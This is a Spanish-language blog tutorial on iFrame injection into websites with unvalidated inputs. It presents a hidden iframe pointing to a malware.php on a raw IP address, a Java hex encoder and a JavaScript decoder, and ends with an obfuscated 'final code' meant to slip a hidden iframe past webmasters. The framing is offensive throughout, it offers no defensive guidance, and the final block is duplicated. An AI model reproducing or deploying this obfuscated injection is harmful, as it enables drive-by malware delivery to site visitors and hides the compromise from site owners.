Estos problemas se deben a que existe un código malicioso incrustado en algún lugar del sitio web. Entre los muchos métodos de ataque que pueden hacer esto, tenemos uno que tiene por nombre “iFrame Injectión” o.O
¿Como funciona?
el atacante aprovecha una vulnerabilidad en algunas de las entradas, lo más común es en los formularios o campos de búsqueda, el hacker insertará código javascript que a su ves cargara comandos HTML que a su ves cargaran el malware, este error ocurre porque a la hora de programar la web, no se validaron los datos que se ingresan por los input, la manera más sencilla de comprobar si una web acepta código HTML es la siguiente
Muy bien, si tenemos identificada una web vulnerable, podemos insertar el código malicioso, esta técnica utiliza la etiqueta iFrame para incrustar un objeto de otro servidor, por ejemplo:
<iframe src="http://67.121.131.51/algo/malo/malware.php?wtf" name="lol" width="1" height="1" style="visibility:hidden"></iframe>
pero claro, si se hace esto directamente, será muy fácil encontrarlo, debemos complicar un poco las cosas para el webmaster y para eso se hace uso de javascript.
Se debe ofuscar el código HTML para no levantar sospechas, se puede utilizar su equivalente en UNICODE, por ejemplo:
para la cadena de texto : “Hola mundo“,
su equivalente en UNICODE es: 0×48 0x6f 0x6c 0×61 0×20 0x6d 0×75 0x6e 0×64 0x6f
Como se puede ver en la tabla anterior, cada carácter tiene su
equivalente, entonces lo que debemos hacer es transformar
cada carácter de nuestro código html-iframe a su par unicode, un trabajo
laborioso, pero para facilitar las cosas podemos escribir una rutina en
el mismo javascript u otro lenguaje que nos haga el trabajo pesado.
import java.io.UnsupportedEncodingException; /** * @web http://www.jc-mouse.net * @author Mouse */ public class ToUnicode { private boolean modo=false; public ToUnicode(){} public ToUnicode( boolean modo ){ this.modo = modo; } public String Convertir( String texto ) { String r = ""; try { byte[] utf8Bytes = texto.getBytes("UTF8"); int c = 1; for (int k = 0; k < utf8Bytes.length; k++) { if(modo) { r += "0x" + byteToHex(utf8Bytes[k]) + " " ; c++; if( c>8 ) { c=1; r+="\n";}
} else { r += byteToHex(utf8Bytes[k]); } } } catch (UnsupportedEncodingException e) { System.out.println( e.getMessage() ); } return r; } private String byteToHex(byte b) { char hexDigit[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9','a', 'b', 'c', 'd', 'e', 'f' }; char[] array = { hexDigit[(b >> 4) & 0x0f], hexDigit[b & 0x0f] }; return new String(array); } }
Ahora que podemos ofuscar nuestro HTML, necesitamos una rutina en
javascript para desofuscarlo y escribirlo en el documento, osea, la
inversa de la anterior rutina java. El siguiente código dado una cadena
alfanumerica, va tomando pares y transformado en caracteres,
la función se llama “funcionXYZ“, el resultado es luego escrito por el comando javascript document.write.
<script> function funcionXYZ(variable) { var cadena = ''; for (i = 0; i < variable.length; i += 2) { cadena += ( String.fromCharCode( parseInt( variable.substr(i, 2) , 16 ) ) ); } return cadena; } document.write( funcionXYZ ( '3c7363726970743e616c65727428275573746564206d696a6f206573746120696e6665637461646f203a2920656e6a6f7921212127293b3c2f7363726970743e' ) ); </script>
Probamos este código en el navegador y tendremos como resultado una ventana alert.Hasta ahí todo bien, pero podemos complicar aún más las cosas
El codigo HTML que utilizaremos sera el siguiente:
<script>alert('Usted mijo esta infectado enjoy!!!');</script> <iframe src="http://freelance.jc-mouse.net/" name="lol" width="1" height="1" scrolling="auto" style="visibility:hidden"></iframe>
ofuscado tenemos:3c7363726970743e616c65727428275573746564206d696a6f206573746120696e6665637461646f203a2920656e6a6f7921 212127293b3c2f7363726970743e0a3c696672616d65207372633d22687474703a2f2f667265656c616e63652e6a632d6d6f 7573652e6e65742f22206e616d653d226c6f6c222077696474683d223122206865696768743d223122207363726f6c6c696e 673d226175746f22207374796c653d227669736962696c6974793a68696464656e223e3c2f696672616d653e
y camuflaremos también el código javascript cambiando los nombres de
las funciones y las variables por otros sin sentido también limpiamos
espacios quedando todo de esta forma:CÓDIGO FINAL:
<script> document.write(function(v769068){var v7654324="";for(v765774=0;v765774<v769068.length;v765774+=2)v7654324+=String.fromCharCode(parseInt(v769068.substr(v765774,2),16));return v7654324}("3c7363726970743e616c65727428275573746564206d696a6f206573746120696e6665637461646f203a2920656e6a6f7921212127293b3c2f7363726970743e0a3c696672616d65207372633d22687474703a2f2f667265656c616e63652e6a632d6d6f7573652e6e65742f22206e616d653d226c6f6c222077696474683d223122206865696768743d223122207363726f6c6c696e673d226175746f22207374796c653d227669736962696c6974793a68696464656e223e3c2f696672616d653e")); </script>
y camuflaremos también el código javascript cambiando los nombres de las funciones y las variables por otros sin sentido también limpiamos espacios quedando todo de esta forma:
CÓDIGO FINAL:
<script> document.write(function(v769068){var v7654324="";for(v765774=0;v765774<v769068.length;v765774+=2)v7654324+=String.fromCharCode(parseInt(v769068.substr(v765774,2),16));return v7654324}("3c7363726970743e616c65727428275573746564206d696a6f206573746120696e6665637461646f203a2920656e6a6f7921212127293b3c2f7363726970743e0a3c696672616d65207372633d22687474703a2f2f667265656c616e63652e6a632d6d6f7573652e6e65742f22206e616d653d226c6f6c222077696474683d223122206865696768743d223122207363726f6c6c696e673d226175746f22207374796c653d227669736962696c6974793a68696464656e223e3c2f696672616d653e")); </script>
Y ya tenemos nuestro código malicioso ofuscado junto a un javascript también ofuscado listo para divertirse
No hay comentarios:
Publicar un comentario